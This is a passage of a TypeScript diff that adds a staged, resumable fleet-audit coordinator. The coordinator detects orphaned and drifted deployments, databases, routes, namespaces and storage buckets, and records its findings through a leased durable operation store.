+  }
+  if (run.state === 'failed') {
+    if (progress.failure === undefined) return malformed();
+    return {
+      status: 'failed',
+      token,
+      failure: progress.failure,
+    };
+  }
+  return { status: 'pending', token, stage: progress.stage };
+}
+
+/**
+ * The `pending` result for a run record the store has just committed. Every
+ * chunk that leaves the operation RUNNING reports the persisted stage read
+ * back through the codec, never the stage it computed.
+ *
+ * Kept beside `resultFromRun`'s running arm rather than folded into it on
+ * purpose: each of the four call sites has just committed a RUNNING record,
+ * and reporting only `pending` is the narrowing that states so.
+ */
+function pendingFromCommitted(
+  committed: FleetOperationRunRecord,
+): Extract<FleetAuditAdvanceResult, { status: 'pending' }> {
+  return {
+    status: 'pending',
+    token: fleetOperationTokenOf(committed),
+    stage: fleetAuditProgressFromUnknown(committed.progress).stage,
+  };
+}
+
+type IsSubset<Left, Right> = [Left] extends [Right] ? true : false;
+const DRIFT_FINDING_KINDS_ARE_AUDIT_KINDS: IsSubset<
+  DriftFinding['kind'],
+  FleetAuditFindingKind
+> = true;
+const AUDIT_FINDING_KINDS_ARE_DRIFT_KINDS: IsSubset<
+  FleetAuditFindingKind,
+  DriftFinding['kind']
+> = true;
+// Both assertions are compile-time only; these module-scope references keep
+// them reachable so an unused-binding cleanup cannot delete the check.
+void DRIFT_FINDING_KINDS_ARE_AUDIT_KINDS;
+void AUDIT_FINDING_KINDS_ARE_DRIFT_KINDS;
+
+function fleetAuditFindingKind(
+  kind: DriftFinding['kind'],
+): FleetAuditFindingKind {
+  return kind;
+}
+
+/**
+ * Non-throwing durable write gate: the bounded path gates; the drain never
+ * does. Only `detail` is gated: `tenantTag` and `environment` reach the row
+ * verbatim, which is the round-3 adjudication, so the name says gated DETAIL
+ * rather than a sanitized row.
+ */
+function findingRowWithGatedDetail(
+  finding: DriftFinding,
+): DriftFindingRowPayload {
+  const kind = fleetAuditFindingKind(finding.kind);
+  return {
+    tenantTag: finding.tenantTag,
+    environment: finding.environment,
+    kind,
+    detail: isDurableAuditDetailSafe(finding.detail)
+      ? finding.detail
+      : withheldAuditDetail(kind),
+  };
+}
+
+/**
+ * Stages one durable row, reporting two distinct refusals by two distinct
+ * routes:
+ *
+ * - `undefined` means the payload exceeds the staged-row envelope. That is a
+ *   caller-visible emission bound, so the site fails the operation durably
+ *   through `failEmission`.
+ * - a thrown `FleetOperationStateError` means the payload does not satisfy
+ *   the row codec at all, which is durable corruption and propagates.
+ *
+ * No site needs to branch on the difference — only the envelope refusal
+ * arrives as a value — which is why a discriminated result would buy nothing
+ * here.
+ */
+function stagedAuditRow(
+  rowKind: 'finding' | 'fact',
+  ordinal: number,
+  payload: DriftFindingRowPayload | FleetAuditFactPayload,
+): FleetOperationStagedRow | undefined {
+  if (!fleetOperationStagedRowPayloadFitsEnvelope(rowKind, payload)) {
+    return undefined;
+  }
+  try {
+    const validated =
+      rowKind === 'finding'
+        ? driftFindingRowFromUnknown(payload)
+        : fleetAuditFactRowFromUnknown(payload);
+    return {
+      rowKind,
+      ordinal,
+      payload: { ...validated },
+    };
+  } catch (error) {
+    // Only a codec refusal means the payload is malformed; a programming
+    // fault must not be laundered into durable-corruption identity.
+    if (!(error instanceof FleetOperationStateError)) throw error;
+    return malformed();
+  }
+}
+
+interface GlobalStageChunk {
+  readonly findings: readonly DriftFinding[];
+  readonly stage: FleetAuditStage;
+}
+
+type GlobalAuditStage = Exclude<
+  FleetAuditStage,
+  { step: 'per-record' | 'finalize' }
+>;
+type GlobalAuditStep = GlobalAuditStage['step'];
+type PerRecordAuditStage = Extract<FleetAuditStage, { step: 'per-record' }>;
+
+interface GlobalStageContext {
+  readonly inventory: FleetResourceInventory;
+  readonly auditedRecords: readonly FleetRecord[];
+  readonly known: FleetAuditKnownSets;
+  readonly recordsByScript: ReadonlyMap<string, readonly FleetRecord[]>;
+}
+
+/** The one accessor for the optional R2 inventory slice. */
+function inventoryR2Buckets(
+  context: GlobalStageContext,
+): readonly NonNullable<FleetResourceInventory['r2Buckets']>[number][] {
+  return context.inventory.r2Buckets ?? [];
+}
+
+function chunked<T>(
+  stage: GlobalAuditStage,
+  maxItemsPerCall: number,
+  source: readonly T[],
+  emit: (slice: readonly T[], ordinal: number) => readonly DriftFinding[],
+): GlobalStageChunk {
+  const ordinal = fleetAuditStageOrdinal(stage);
+  // Unreachable: `finalize` is the only cursor-less step, and
+  // `GlobalAuditStage` excludes it. The arm stays because the accessor is
+  // typed over the whole stage union and so returns `number | undefined`.
+  if (ordinal === undefined) return malformed();
+  // A global stage never persists a cursor at the end of its own source, so
+  // the only admissible cursor for an empty source is zero. A negative
+  // ordinal is inadmissible on any source: `slice` reads it as an offset from
+  // the end, where a stage cursor means an offset from the start.
+  if (
+    ordinal < 0 ||
+    (source.length === 0 ? ordinal > 0 : ordinal >= source.length)
+  ) {
+    return malformed();
+  }
+  const slice = source.slice(ordinal, ordinal + maxItemsPerCall);
+  const nextOrdinal = ordinal + slice.length;
+  const exhausted = nextOrdinal >= source.length;
+  return {
+    findings: emit(slice, ordinal),
+    stage: exhausted
+      ? nextAuditStage(stage, true)
+      : withAuditStageOrdinal(stage.step, nextOrdinal),
+  };
+}
+
+type GlobalStageDescriptor = (
+  stage: GlobalAuditStage,
+  maxItemsPerCall: number,
+  context: GlobalStageContext,
+) => GlobalStageChunk;
+
+function globalStageDescriptor<T>(
+  source: (context: GlobalStageContext) => readonly T[],
+  emit: (
+    slice: readonly T[],
+    context: GlobalStageContext,
+    ordinal: number,
+  ) => readonly DriftFinding[],
+): GlobalStageDescriptor {
+  return (stage, maxItemsPerCall, context) =>
+    chunked(stage, maxItemsPerCall, source(context), (slice, ordinal) =>
+      emit(slice, context, ordinal),
+    );
+}
+
+const GLOBAL_STAGE_DESCRIPTORS = Object.freeze({
+  'provider-findings': globalStageDescriptor(
+    (context) => context.inventory.findings,
+    (slice) => slice,
+  ),
+  'registration-orphans': globalStageDescriptor(
+    (context) => context.inventory.scriptRegistrations,
+    (slice, context) =>
+      auditRegistrationOrphansStage({
+        scriptRegistrations: slice,
+        deployments: context.inventory.deployments,
+        recordsByScript: context.recordsByScript,
+        knownScriptKeys: context.known.knownScriptKeys,
+      }),
+  ),
+  'deployment-orphans': globalStageDescriptor(
+    (context) => context.inventory.deployments,
+    (slice, context) =>
+      auditDeploymentOrphansStage({
+        deployments: slice,
+        recordsByScript: context.recordsByScript,
+        knownScriptKeys: context.known.knownScriptKeys,
+      }),
+  ),
+  'deployment-gaps': globalStageDescriptor(
+    (context) => context.auditedRecords,
+    (slice, context) =>
+      auditDeploymentGapsStage({
+        records: slice,
+        liveByScript: fleetAuditLiveByScript(context.inventory.deployments),
+        scriptRegistrations: context.inventory.scriptRegistrations,
+      }),
+  ),
+  'orphan-databases': globalStageDescriptor(
+    (context) => context.inventory.databaseIds,
+    (slice, context) =>
+      auditOrphanDatabasesStage({
+        databaseIds: slice,
+        registeredDatabaseIds: fleetAuditRegisteredDatabaseIds(
+          context.auditedRecords,
+        ),
+        knownDatabaseIds: context.known.knownDatabaseIds,
+      }),
+  ),
+  'orphan-routes': globalStageDescriptor(
+    (context) => context.inventory.routes,
+    (slice, context) =>
+      auditOrphanRoutesStage({
+        routes: slice,
+        expectedRoutes: fleetAuditExpectedRoutes(context.auditedRecords),
+        knownRouteKeys: context.known.knownRouteKeys,
+      }),
+  ),
+  'namespace-orphans': globalStageDescriptor(
+    (context) => context.inventory.namespaceIds,
+    (slice, context) =>
+      auditNamespaceOrphansStage({
+        namespaceIds: slice,
+        expectedNamespaceIds: fleetAuditExpectedNamespaceIds(
+          context.auditedRecords,
+        ),
+        knownNamespaceIds: context.known.knownNamespaceIds,
+      }),
+  ),
+  'namespace-expectations': globalStageDescriptor(
+    (context) => context.auditedRecords,
+    (slice, context, ordinal) =>
+      auditNamespaceExpectationsStage({
+        records: slice,
+        inventoryNamespaceIds: context.inventory.namespaceIds,
+        expectedNamespaceOwners: fleetAuditExpectedNamespaceOwnersSeed(
+          context.auditedRecords.slice(0, ordinal),
+        ),
+      }),
+  ),
+  'r2-expected': globalStageDescriptor(
+    (context) => context.auditedRecords,
+    (slice, context, ordinal) =>
+      auditR2ExpectedStage({
+        records: slice,
+        expectedBuckets: fleetAuditExpectedBucketsSeed(
+          context.auditedRecords.slice(0, ordinal),
+        ),
+      }),
+  ),
+  'r2-orphans': globalStageDescriptor(
+    (context) => inventoryR2Buckets(context),
+    (slice, context) =>
+      auditR2OrphansStage({
+        r2Buckets: slice,
+        expectedBuckets: fleetAuditExpectedBucketsSeed(context.auditedRecords),
+        knownBucketNames: context.known.knownBucketNames,
+      }),
+  ),
+  'r2-missing-identity': globalStageDescriptor(
+    (context): readonly FleetAuditExpectedBucketEntry[] => [
+      ...fleetAuditExpectedBucketsSeed(context.auditedRecords).values(),
+    ],
+    (slice, context) =>
+      auditR2MissingIdentityStage({
+        expectedBucketEntries: slice,
+        r2Buckets: inventoryR2Buckets(context),
+      }),
+  ),
+} satisfies Readonly<Record<GlobalAuditStep, GlobalStageDescriptor>>);
+
+function buildInitialAuditRunRecord(
+  input: Readonly<{
+    operationId: string;
+    staleAfterMs: number;
+    recordCount: number;
+  }>,
+  generation: number,
+  auditTimeMs: number,
+): FleetOperationRunRecord {
+  const progress: FleetAuditProgress = {
+    kind: 'audit',
+    revision: 0,
+    stage: { step: 'provider-findings', rowOrdinal: 0 },
+    generation,
+    auditTimeMs,
+    staleAfterMs: input.staleAfterMs,
+    recordCount: input.recordCount,
+    findingCount: 0,
+    factCount: 0,
+  };
+  return {
+    version: 1,
+    operationId: input.operationId,
+    kind: 'audit',
+    state: 'running',
+    progress,
+    updatedAt: new Date(auditTimeMs).toISOString(),
+  };
+}
+
+async function failAudit(
+  options: AdvanceFleetAuditOptions,
+  lease: FleetOperationLease,
+  run: FleetOperationRunRecord,
+  progress: FleetAuditProgress,
+  failure: FleetOperationFailure,
+): Promise<FleetAuditAdvanceResult> {
+  const newProgress: FleetAuditProgress = {
+    ...progress,
+    revision: progress.revision + 1,
+    failure,
+  };
+  await lease.failOperation({
+    operationId: run.operationId,
+    expectedRevision: progress.revision,
+    runRecord: {
+      ...run,
+      state: 'failed',
+      progress: newProgress,
+      updatedAt: new Date().toISOString(),
+    },
+  });
+  await options.inventoryStore.releasePin({
+    generation: progress.generation,
+    pinnedBy: fleetAuditPinOwner(run.operationId),
+  });
+  return resultFromRun({
+    ...run,
+    state: 'failed',
+    progress: newProgress,
+  });
+}
+
+/** The one durable `emission-bound-exceeded` refusal every staging site takes. */
+function failEmission(
+  options: AdvanceFleetAuditOptions,
+  lease: FleetOperationLease,
+  run: FleetOperationRunRecord,
+  progress: FleetAuditProgress,
+  itemOrdinal?: number,
+): Promise<FleetAuditAdvanceResult> {
+  return failAudit(options, lease, run, progress, {
+    reason: 'emission-bound-exceeded',
+    ...(itemOrdinal === undefined ? {} : { itemOrdinal }),
+  });
+}
+
+/** Every owner claim the record step added, in map order. */
+function* ownedFactPayloads(
+  factKind: 'database-owner' | 'namespace-owner',
+  owners: ReadonlyMap<string, FleetRecord>,
+  before: ReadonlySet<string>,
+): Generator<FleetAuditFactPayload> {
+  for (const [key, owner] of owners) {
+    if (before.has(key)) continue;
+    yield {
+      factKind,
+      key,
+      tenantTag: owner.tenantTag,
+      environment: owner.environment,
+    };
+  }
+}
+
+/** Every duplicate-namespace collision the record step added, in set order. */
+function* duplicateNamespaceFactPayloads(
+  keys: ReadonlySet<string>,
+  before: ReadonlySet<string>,
+): Generator<FleetAuditFactPayload> {
+  for (const key of keys) {
+    if (before.has(key)) continue;
+    yield { factKind: 'duplicate-namespace', key };
+  }
+}
+
+async function finalizeAudit(
+  lease: FleetOperationLease,
+  run: FleetOperationRunRecord,
+  progress: FleetAuditProgress,
+): Promise<FleetAuditAdvanceResult> {
+  const newProgress: FleetAuditProgress = {
+    ...progress,
+    revision: progress.revision + 1,
+  };
+  const finalized = await lease.finalizeOperation({
+    operationId: run.operationId,
+    expectedRevision: progress.revision,
+    runRecord: {
+      ...run,
+      state: 'finalized',
+      progress: newProgress,
+      updatedAt: new Date().toISOString(),
+    },
+    expectedRowCounts: {
+      finding: progress.findingCount,
+      record: progress.recordCount,
+      fact: progress.factCount,
+    },
+  });
+  return resultFromRun(finalized);
+}
+
+async function advancePerRecordChunk(
+  options: AdvanceFleetAuditOptions,
+  lease: FleetOperationLease,
+  run: FleetOperationRunRecord,
+  progress: FleetAuditProgress,
+  stage: PerRecordAuditStage,
+  inventory: FleetResourceInventory,
+  records: readonly FleetRecord[],
+  auditedRecords: readonly FleetRecord[],
+): Promise<FleetAuditAdvanceResult> {
+  const record = records[stage.recordOrdinal];
+  if (record === undefined) return malformed();
+  const recordsByScript = fleetAuditRecordsByScript(auditedRecords);
+  const liveByScript = fleetAuditLiveByScript(inventory.deployments);
+  const liveRoutesByHostname = fleetAuditLiveRoutesByHostname(inventory.routes);
+  const recordByKey = new Map<string, FleetRecord>(
+    records.map((entry) => [`${entry.tenantTag}:${entry.environment}`, entry]),
+  );
+
+  const factRows = await readAllFleetOperationRows(
+    options.operationStore,
+    run.operationId,
+    'fact',
+  );
+  const facts = factRows.map((row) =>
+    fleetAuditFactRowFromUnknown(row.payload),
+  );
+  const databases = new Map<string, FleetRecord>();
+  const liveNamespaceOwners = new Map<string, FleetRecord>();
+  const duplicateNamespaceIds = new Set(
+    fleetAuditRecordsDerivedDuplicateNamespaceIds(auditedRecords),
+  );
+  // A staged owner fact whose (tenantTag, environment) pair resolves to no
+  // record row is dropped rather than refused. Unreachability is the WHOLE
+  // safety argument: every owner fact this coordinator writes names a record
+  // it staged in the same operation, and both row sets are read back in full
+  // and contiguity-checked before this loop. Were it reachable it would
+  // SUPPRESS findings, not add them — a missing claimant leaves the database
+  // or namespace looking unclaimed, so `auditRecordStep` takes this record as
+  // the first owner and emits no duplicate finding. `malformed()` on the miss
+  // is the stricter alternative and was left out as a behavior change on a
+  // converged checkpoint.
+  for (const fact of facts) {
+    if (fact.factKind === 'database-owner') {
+      const owner = recordByKey.get(`${fact.tenantTag}:${fact.environment}`);
+      if (owner) databases.set(fact.key, owner);
+    } else if (fact.factKind === 'namespace-owner') {
+      const owner = recordByKey.get(`${fact.tenantTag}:${fact.environment}`);
+      if (owner) liveNamespaceOwners.set(fact.key, owner);
+    } else {
+      duplicateNamespaceIds.add(fact.key);
+    }
+  }
+  const databasesBefore = new Set(databases.keys());
+  const namespaceOwnersBefore = new Set(liveNamespaceOwners.keys());
+  const duplicatesBefore = new Set(duplicateNamespaceIds);
+
+  options.signal?.throwIfAborted();
+  const result = await auditRecordStep({
+    record,
+    recordsByScript,
+    liveByScript,
+    liveRoutesByHostname,
+    inventoryDatabaseIds: inventory.databaseIds,
+    hostRoutingKvId: inventory.hostRoutingKvId,
+    databases,
+    liveNamespaceOwners,
+    duplicateNamespaceIds,
+    backendFor: options.backendFor,
+    specFor: options.specFor,
+    maintenanceSecretFor: options.maintenanceSecretFor,
+    store: options.fleetStore,
+    staleAfterMs: progress.staleAfterMs,
+    auditNow: progress.auditTimeMs,
+    authorityNowProvider: () => (options.authorityClock ?? Date.now)(),
+  });
+
+  // The three fact kinds differ only in their source collection and payload
+  // shape, so each yields its newly claimed payloads and one loop stages them.
+  const newFactPayloads: readonly Iterable<FleetAuditFactPayload>[] = [
+    ownedFactPayloads('database-owner', databases, databasesBefore),
+    ownedFactPayloads(
+      'namespace-owner',
+      liveNamespaceOwners,
+      namespaceOwnersBefore,
+    ),
+    duplicateNamespaceFactPayloads(duplicateNamespaceIds, duplicatesBefore),
+  ];
+  const newFacts: FleetOperationStagedRow[] = [];
+  let factOrdinal = progress.factCount;
+  for (const payloads of newFactPayloads) {
+    for (const payload of payloads) {
+      const row = stagedAuditRow('fact', factOrdinal++, payload);
+      if (!row) {
+        return failEmission(options, lease, run, progress, stage.recordOrdinal);
+      }
+      newFacts.push(row);
+    }
+  }
+
+  const findingRows: FleetOperationStagedRow[] = [];
+  for (const [index, finding] of result.findings.entries()) {
+    const row = stagedAuditRow(
+      'finding',
+      progress.findingCount + index,
+      findingRowWithGatedDetail(finding),
+    );
+    if (!row) {
+      // Unreachable: the gate never shortens a detail, it SUBSTITUTES the
+      // fixed withheld fallback whenever `isDurableAuditDetailSafe` rejects
+      // one — which includes every detail over the 4 KiB string bound. What
+      // reaches the row is therefore either an already-bounded detail or a
+      // short fixed string, beside grammar-bounded identifiers, so the
+      // composed payload cannot exceed the staged-row envelope.
+      return failEmission(options, lease, run, progress, stage.recordOrdinal);
+    }
+    findingRows.push(row);
+  }
+
+  // The coordinator computes the batch-budget overflow itself and never lets
+  // the store's own guard fire.
+  if (
+    findingRows.length + newFacts.length + 1 >
+    FLEET_OPERATION_STAGE_BATCH_STATEMENTS
+  ) {
+    return failEmission(options, lease, run, progress, stage.recordOrdinal);
+  }
+
+  const newProgress: FleetAuditProgress = {
+    ...progress,
+    revision: progress.revision + 1,
+    stage: { step: 'per-record', recordOrdinal: stage.recordOrdinal + 1 },
+    findingCount: progress.findingCount + findingRows.length,
+    factCount: progress.factCount + newFacts.length,
+  };
+  const committed = await lease.commitProgress({
+    operationId: run.operationId,
+    expectedRevision: progress.revision,
+    runRecord: {
+      ...run,
+      progress: newProgress,
+      updatedAt: new Date().toISOString(),
+    },
+    rows: [...findingRows, ...newFacts],
+    expectedRowWatermarks: {
+      finding: newProgress.findingCount,
+      fact: newProgress.factCount,
+    },
+  });
+  return pendingFromCommitted(committed);
+}
+
+async function advanceOneChunk(
+  options: AdvanceFleetAuditOptions,
+  lease: FleetOperationLease,
+  run: FleetOperationRunRecord,
+  maxItemsPerCall: number,
+): Promise<FleetAuditAdvanceResult> {
+  await lease.assertOwned();
+  const progress = fleetAuditProgressFromUnknown(run.progress);
+  if (progress.stage.step === 'finalize') {
+    return finalizeAudit(lease, run, progress);
+  }
+  let inventory: FleetResourceInventory;
+  try {
+    inventory = await readFleetInventoryGeneration(
+      options.inventoryStore,
+      progress.generation,
+    );
+  } catch {
+    return failAudit(options, lease, run, progress, {
+      reason: 'generation-unavailable',
+    });
+  }
+  const recordRows = await readAllFleetOperationRows(
+    options.operationStore,
+    run.operationId,
+    'record',
+  );
+  let records: readonly FleetRecord[];
+  try {
+    records = recordRows.map(
+      (row) =>
+        structuralBackendSwitchFleetRecordFromUnknown(row.payload).record,
+    );
+  } catch {
+    return malformed();
+  }
+  if (progress.stage.step === 'per-record') {
+    const perRecordStage = progress.stage;
+    if (perRecordStage.recordOrdinal > records.length) return malformed();
+    if (perRecordStage.recordOrdinal === records.length) {
+      // Unlike a global stage, `per-record` does persist a cursor equal to its
+      // source length and spends a whole extra stage-running call — a full
+      // generation re-read and a record-row re-page included — on the pure
+      // transition to `finalize`. That is deliberate: the call is the leading 1
+      // in the documented aggregate stage-running-call count.
+      const newProgress: FleetAuditProgress = {
+        ...progress,
+        revision: progress.revision + 1,
+        stage: nextAuditStage(perRecordStage, true),
+      };
+      const committed = await lease.commitProgress({
+        operationId: run.operationId,
+        expectedRevision: progress.revision,
+        runRecord: {
+          ...run,
+          progress: newProgress,
+          updatedAt: new Date().toISOString(),
+        },
+      });
+      return pendingFromCommitted(committed);
+    }
+    return advancePerRecordChunk(
+      options,
+      lease,
+      run,
+      progress,
+      perRecordStage,
+      inventory,
+      records,
+      fleetAuditAuditedRecords(records),
+    );
+  }
+  const auditedRecords = fleetAuditAuditedRecords(records);
+  const chunk = GLOBAL_STAGE_DESCRIPTORS[progress.stage.step](
+    progress.stage,
+    maxItemsPerCall,
+    {
+      inventory,
+      auditedRecords,
+      known: fleetAuditKnownSets(records),
+      recordsByScript: fleetAuditRecordsByScript(auditedRecords),
+    },
+  );
+  const findingRows: FleetOperationStagedRow[] = [];
+  for (const [index, finding] of chunk.findings.entries()) {
+    const row = stagedAuditRow(
+      'finding',
+      progress.findingCount + index,
+      findingRowWithGatedDetail(finding),
+    );
+    if (!row) {
+      // A global finding ordinal can exceed FLEET_OPERATION_ITEM_BOUND, which
+      // fleetOperationFailureFromUnknown rejects as an itemOrdinal, so this
+      // failure carries no ordinal.
+      return failEmission(options, lease, run, progress);
+    }
+    findingRows.push(row);
+  }
+  await lease.stageRows({
+    operationId: run.operationId,
+    expectedRevision: progress.revision,
+    rows: findingRows,
+  });
+  const newFindingCount = progress.findingCount + findingRows.length;
+  const newProgress: FleetAuditProgress = {
+    ...progress,
+    revision: progress.revision + 1,
+    stage: chunk.stage,
+    findingCount: newFindingCount,
+  };
+  const committed = await lease.commitProgress({
+    operationId: run.operationId,
+    expectedRevision: progress.revision,
+    runRecord: {
+      ...run,
+      progress: newProgress,
+      updatedAt: new Date().toISOString(),
+    },
+    expectedRowWatermarks: { finding: newFindingCount },
+  });
+  return pendingFromCommitted(committed);
+}
+
+async function startAudit(
+  options: AdvanceFleetAuditOptions,
+  action: Extract<FleetAuditAdvanceAction, { kind: 'start' }>,
+): Promise<FleetAuditAdvanceResult> {
+  const operationId = action.operationId;
+  assertFleetOperationId(operationId);
+  const staleAfterMs = action.staleAfterMs;
+  if (!Number.isSafeInteger(staleAfterMs) || staleAfterMs < 1) {
+    throw new Error('staleAfterMs must be a positive safe integer');
+  }
+  const requestedGeneration = action.generation;
+  if (
+    requestedGeneration !== undefined &&
+    (!Number.isSafeInteger(requestedGeneration) || requestedGeneration < 1)
+  ) {
+    throw new Error('generation must be a positive safe integer');
+  }
+  const inputRecords = action.records;
+  if (inputRecords.length > FLEET_OPERATION_ITEM_BOUND) {
+    throw new Error(RECORD_COUNT_MESSAGE);
+  }
+  if (
+    inputRecords.some((record) => record === null || typeof record !== 'object')
+  ) {
+    throw new Error(RECORD_STRUCTURE_MESSAGE);
+  }
+  const intake = fleetOperationItemsIntake({
+    envelope: {
+      staleAfterMs,
+      generation: requestedGeneration ?? null,
+    },
+    items: inputRecords,
+    itemByteBound: FLEET_OPERATION_RECORD_ROW_BYTE_BOUND,
+  });
+  if ('reason' in intake) {
+    const { reason } = intake;
+    switch (reason) {
+      case 'item-count':
+        // The coordinator count check precedes the intake, so this arm is
+        // unreachable here; the helper retains it for other callers.
+        throw new Error(RECORD_COUNT_MESSAGE);
+      case 'item-structure':
+        throw new Error(RECORD_STRUCTURE_MESSAGE);
+      case 'item-bytes':
+        throw new Error('fleet audit record exceeds the staged row byte bound');
+      case 'aggregate-bytes':
+        throw new Error(
+          'fleet audit start canonical intake exceeds the intake byte bound',
+        );
+      default: {
+        const exhaustive: never = reason;
+        // A widened refusal union must fail closed here rather than let a
+        // bare string escape as this function's result.
+        throw new Error(
+          `unexpected fleet operation intake refusal '${String(exhaustive)}'`,
+        );
+      }
+    }
+  }
+  const intakeDigest = intake.digest;
+  const records = intake.items;
+  // Narrows `unknown` intake items to `FleetRecord` on object-ness plus
+  // `tenantTag` and `environment` alone, so the array asserts more shape than
+  // is checked. Every entry is staged whole by the `payload` cast below, and
+  // fields beyond those two are re-read only from the staged rows in
+  // `advanceOneChunk`.
+  if (
+    !records.every((record): record is FleetRecord => {
+      if (record === null || typeof record !== 'object') return false;
+      const candidate = record as Record<string, unknown>;
+      return (
+        typeof candidate.tenantTag === 'string' &&
+        isDeploymentTenantTag(candidate.tenantTag) &&
+        typeof candidate.environment === 'string' &&
+        isDeploymentEnvironment(candidate.environment)
+      );
+    })
+  ) {
+    throw new Error(
+      'fleet audit record tenantTag and environment must satisfy the deployment identifier grammar',
+    );
+  }
+  return options.operationStore.withAccountOperationLease(
+    'audit',
+    async (lease) => {
+      await lease.assertOwned();
+      const probed =
+        await options.operationStore.readOperationById(operationId);
+      let generation: number;
+      if (probed) {
+        if (probed.kind !== 'audit') {
+          throw new Error(fleetOperationOtherKindMessage(operationId));
+        }
+        generation = fleetAuditProgressFromUnknown(probed.progress).generation;
+      } else {
+        const resolved =
+          requestedGeneration ??
+          (await options.inventoryStore.latestFinalizedGeneration())
+            ?.generation;
+        if (resolved === undefined) {
+          throw new Error(
+            'no finalized fleet inventory generation is available',
+          );
+        }
+        generation = resolved;
+      }
+      const auditTimeMs = (options.auditClock ?? Date.now)();
+      if (
+        !fleetOperationSafeInteger(auditTimeMs) ||
+        Number.isNaN(new Date(auditTimeMs).getTime())
+      ) {
+        throw new Error(
+          'fleet audit auditClock sample must be a non-negative safe integer representable by Date',
+        );
+      }
+      const initialRunRecord = buildInitialAuditRunRecord(
+        {
+          operationId,
+          staleAfterMs,
+          recordCount: records.length,
+        },
+        generation,
+        auditTimeMs,
+      );
+      // Pre-persistence progress gate for coordinator-built state.
+      fleetAuditProgressFromUnknown(initialRunRecord.progress);
+      const started = await lease.startOperation({
+        operationId,
+        kind: 'audit',
+        runRecord: initialRunRecord,
+        intakeDigest,
+      });
+      if (started.outcome === 'adopted-terminal') {
+        return resultFromRun(started.record);
+      }
+      const record = started.record;
+      const recordProgress = fleetAuditProgressFromUnknown(record.progress);
+      // The pin goes on the generation the PERSISTED record carries. A release
+      // reads `progress.generation` off durable state, so a pin on any other
+      // value is released at a generation nobody holds and leaks the real one
+      // for as long as the two disagree.
+      try {
+        await options.inventoryStore.pinGeneration({
+          generation: recordProgress.generation,
+          pinnedBy: fleetAuditPinOwner(operationId),
+        });
+      } catch {
+        return failAudit(options, lease, record, recordProgress, {
+          reason: 'generation-unavailable',
+        });
+      }
+      const rows: FleetOperationStagedRow[] = records.map((entry, ordinal) => ({
+        rowKind: 'record',
+        ordinal,
+        payload: entry as unknown as Record<string, unknown>,
+      }));
+      await lease.stageRows({
+        operationId,
+        expectedRevision: 0,
+        rows,
+      });
+      const committedProgress: FleetAuditProgress = {
+        ...recordProgress,
+        revision: 1,
+      };
+      try {
+        const committed = await lease.commitProgress({
+          operationId,
+          expectedRevision: 0,
+          runRecord: {
+            ...record,
+            progress: committedProgress,
+            updatedAt: new Date().toISOString(),
+          },
+          expectedRowWatermarks: { record: records.length },
+        });
+        return pendingFromCommitted(committed);
+      } catch {
+        // Every throw from the revision-1 replay resolves to the same answer,
+        // and the catch is unnarrowed for that reason: for a far-advanced
+        // running (or since-terminal) operation the CAS cannot converge, and
+        // for a lost lease or a store fault the operation's current
+        // authoritative state is still the only truthful reply. The caller
+        // therefore receives exactly what a stale-token continue would return
+        // — which is a report of durable state, never a claim that this call
+        // succeeded. If no state can be read back at all, the reads below
+        // throw rather than invent one.
+        const current = await lease.readOperation(operationId);
+        if (current) return resultFromRun(current);
+        const persisted =
+          await options.operationStore.readOperationById(operationId);
+        if (persisted) return resultFromRun(persisted);
+        throw new FleetOperationTokenOperationError(operationId);
+      }
+    },
+  );
+}
+
+async function continueAudit(
+  options: AdvanceFleetAuditOptions,
+  token: unknown,
+  maxItemsPerCall: number,
+): Promise<FleetAuditAdvanceResult> {
+  const parsed = parseFleetOperationToken(token);
+  return options.operationStore.withAccountOperationLease(
+    'audit',
+    async (lease) => {
+      await lease.assertOwned();
+      let run = await lease.readOperation(parsed.operationId);
+      if (!run) {
+        const persisted = await options.operationStore.readOperationById(
+          parsed.operationId,
+        );
+        if (!persisted) {
+          throw new FleetOperationTokenOperationError(parsed.operationId);
+        }
+        run = persisted;
+      }
+      const classification = classifyFleetOperationToken(parsed, run, 'audit');
+      if (classification === 'stale' || run.state !== 'running') {
+        return resultFromRun(run);
+      }
+      return advanceOneChunk(options, lease, run, maxItemsPerCall);
+    },
+  );
+}
+
+/**
+ * Performs at most ONE bounded audit stage chunk against the durable
+ * operation store, then returns the authoritative token. Provider work is
+ * reached only through the injected resolvers, so this coordinator stays
+ * transport-neutral.
+ *
+ * A stale token returns the authoritative current result with ZERO
+ * resolver/generation/provider work; a token ahead of the persisted
+ * operation, a foreign-kind token, an unknown operation, and every missing
+ * store capability all fail closed before any such work.
+ */
+export async function advanceFleetAudit(
+  options: AdvanceFleetAuditOptions,
+): Promise<FleetAuditAdvanceResult> {
+  assertCapability(options.operationStore, 'operation-store');
+  assertCapability(options.inventoryStore, 'generation-read');
+  assertCapability(options.inventoryStore, 'generation-pin');
+  options.signal?.throwIfAborted();
+  const maxItemsPerCall = options.maxItemsPerCall ?? DEFAULT_MAX_ITEMS_PER_CALL;
+  assertMaxItemsPerCall(maxItemsPerCall);
+  const action = options.action;
+  if (action.kind === 'start') {
+    return startAudit(options, action);
+  }
+  return continueAudit(options, action.token, maxItemsPerCall);
+}
+
+export type FleetAuditFindingsPage =
+  | Readonly<{
+      findings: readonly DriftFinding[];
+      done: true;
+      nextAfterOrdinal?: number;
+    }>
+  | Readonly<{
+      findings: readonly DriftFinding[];
+      done: false;
+      nextAfterOrdinal: number;
+    }>;
+
+/**
+ * Read terminal audit findings, passing each returned cursor to the next call.
+ * The store raises the final-page signal and this reader checks it against
+ * `FleetAuditProgress.findingCount`: a final page accounting for fewer rows
+ * than that count is malformed. A final page accounting for more is served,
+ * because an interrupted global chunk leaves finding rows staged above the
+ * count its commit never reached. No total-page bound is imposed.
+ *
+ * `limit` reaches the store as the caller wrote it, and a conforming store
+ * serves a `limit` above its documented 1,000-row ceiling at that ceiling, so
+ * an over-large page request costs the rows beyond it and leaves the rest to
+ * the cursor.
+ */
+export async function readFleetAuditFindingsPage(
+  store: FleetOperationStore,
+  input: Readonly<{
+    operationId: string;
+    afterOrdinal?: number;
+    limit: number;
+  }>,
+): Promise<FleetAuditFindingsPage> {
+  const { operationId, afterOrdinal, limit } = input;
+  const run = await store.readOperationById(operationId);
+  if (!run) {
+    throw new FleetOperationTokenOperationError(operationId);
+  }
+  if (run.kind !== 'audit') {
+    throw new Error(fleetOperationOtherKindMessage(operationId));
+  }
+  if (run.state === 'running') {
+    throw new Error(`fleet audit operation '${operationId}' is not terminal`);
+  }
+  const page = await store.readOperationRowsPage({
+    operationId,
+    rowKind: 'finding',
+    limit,
+    ...(afterOrdinal === undefined ? {} : { afterOrdinal }),
+  });
